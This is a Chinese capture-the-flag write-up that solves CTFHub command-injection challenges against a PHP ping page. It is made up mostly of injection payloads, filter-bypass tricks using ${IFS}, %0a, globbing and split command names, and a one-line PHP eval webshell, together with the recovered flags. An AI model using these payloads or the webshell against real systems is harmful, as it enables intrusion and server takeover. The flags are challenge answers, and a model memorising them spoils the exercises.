zoukankan      html  css  js  c++  java
  • CTFHub

    命令注入:

    1.进入页面,测试127.0.0.1,

    关键代码:

    <?php
    $res = FALSE;
    if (isset($_GET['ip']) && $_GET['ip']) {// 传入ip,
        $cmd = "ping -c 4 {$_GET['ip']}";// 运行命令,可以拼接
        exec($cmd, $res);// 执行cmd,把结果输出到res
    }
    
    if ($res) {
        print_r($res);// 打印结果
    }
    show_source(__FILE__);
    ?>

    2.构造payload,

    127.0.0.1&ls

    3.查看php文件,发现无回显(其实是使用了base64编码),查看源代码,得到flag,

    127.0.0.1&cat 210541730730303.php
    127.0.0.1&cat 210541730730303.php | base64

    flag:

    ctfhub{5436702e5cde577d4e9ef18d9ad40349515cbf3a}

    或:

    构造一句话,用蚁剑连接,得到flag,

    127.0.0.1 &echo "<?php @eval($_POST['a']);?>" >> shell.php

    过滤cat:

    1.进入页面,测试命令,

    127.0.0.1&ls

    2.由题目可知,过滤了cat,命令如下,

    127.0.0.1&ca	 flag_21289172249170.php | base64
    
    127.0.0.1 &echo "<?php @eval($_POST['a']);?>" >> shell.php
    //上传一句话,用蚁剑连接

    flag:

    ctfhub{e187c21c72bd29ad7e816f1075fe1f815b51f18f}

    补充:

    cat 由第一行开始显示内容,并将所有内容输出
    
    tac 从最后一行倒序显示内容,并将所有内容输出
    
    more 根据窗口大小,一页一页的现实文件内容
    
    less 和more类似,但其优点可以往前翻页,而且进行可以搜索字符
    
    head 只显示头几行
    
    tail 只显示最后几行
    
    nl 类似于cat -n,显示时输出行号
    
    tailf 类似于tail -f

    过滤空格:

    1.进入页面,拼接命令,查看目录,

    127.0.0.1&ls

    2.由题目可知过滤了空格,考虑可以替换空格的字符,拼接命令,得到flag,

    IFS$9%09<><>、
    {,}、
    %20、
    ${IFS}

    命令(举例):

    127.0.0.1&cat${IFS}flag_102021121611290.php

    flag:

    ctfhub{0200e31e461e9a383bb302d32aef61607d5bd39d}

    过滤目录分隔符:

    1.进入页面,拼接命令,查看目录,

    2.由于过滤了目录分隔符,先进入该目录,查看目录,发现php文件,

    127.0.0.1&cd flag_is_here&&ls
    
    ;cd flag_is_here&&ls

    3.查看php文件,得到flag,

    ;cd flag_is_here&&cat flag_302352460411609.php

    flag:

    ctfhub{459a7b8b38544556938964f163d9b008304ca51d}

    过滤运算符:

    1.进入页面,过滤了一对符号,直接,

    ;ls

    2.发现php文件直接出来了,读取就完事儿了,

    ;cat flag_44482022017796.php

    127.0.0.1; base64 flag_297281061019145.php

    flag:

    ctfhub{e03cf17d8991d33a67fd3038db5fa53dd39ded1c}

    综合过滤练习:

    1.进入页面,根据过滤函数可知,过滤了如下关键词,

    |,&,;, ,/,cat,flag,ctfhub

    2.提交如下命令并抓包,抓包后发送到repeater模块,将&改为%0a,GO一下,发现flag_is_here目录,

    127.0.0.1&ls

    3.查看目录下的内容,发现flag.php文件,

    127.0.0.1%0als${IFS}fl*$ag_is_here

    4.查看文件,得到flag,

    127.0.0.1%0acd${IFS}fl$*ag_is_here%0amore${IFS}fl$*ag_154412024616707.php

    //其中cat用more替换,也可以使用ca''t

    flag:

    ctfhub{06ce07f172f0097961f14a73947c19db7577a52a}

    补充:

    在linux下,命令分隔符除了;还有%0a

    空格可以用${IFS}

    flag可以用正则f***或者fl$*ag_id_here这样替代。

    cat可以用more或者ca''t
  • 相关阅读:
    EJB3.0
    EJB
    到底EJB是什么
    EJB到底是什么,真的那么神秘吗??
    ssh和ejb的区别
    struts2的一些小问题
    Struts2中ValueStack结构和总结
    Java 监听器
    浅谈cookie 和session 的区别
    理解Cookie和Session机制
  • 原文地址:https://www.cnblogs.com/3cH0-Nu1L/p/13822007.html
Copyright © 2011-2022 走看看